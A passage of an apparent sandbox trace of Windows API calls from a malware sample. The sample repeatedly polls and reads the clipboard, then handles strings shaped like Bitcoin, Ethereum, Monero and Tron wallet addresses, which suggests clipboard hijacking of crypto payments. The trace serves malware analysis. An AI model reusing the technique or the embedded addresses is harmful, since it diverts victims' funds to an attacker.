lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0050.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0050.443] Sleep (dwMilliseconds=0x64) [0050.562] GetOpenClipboardWindow () returned 0x0 [0050.562] OpenClipboard (hWndNewOwner=0x0) returned 1 [0050.562] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0050.562] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0050.562] GlobalSize (hMem=0x6069b8) returned 0x42 [0050.562] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0050.562] GlobalUnlock (hMem=0x6069b8) returned 1 [0050.562] CloseClipboard () returned 1 [0050.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.564] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0050.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0050.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0050.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0050.566] Sleep (dwMilliseconds=0x64) [0050.674] GetOpenClipboardWindow () returned 0x0 [0050.674] OpenClipboard (hWndNewOwner=0x0) returned 1 [0050.674] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0050.674] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0050.699] GlobalSize (hMem=0x6069b8) returned 0x42 [0050.699] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0050.699] GlobalUnlock (hMem=0x6069b8) returned 1 [0050.699] CloseClipboard () returned 1 [0050.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.699] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.700] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0050.701] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: 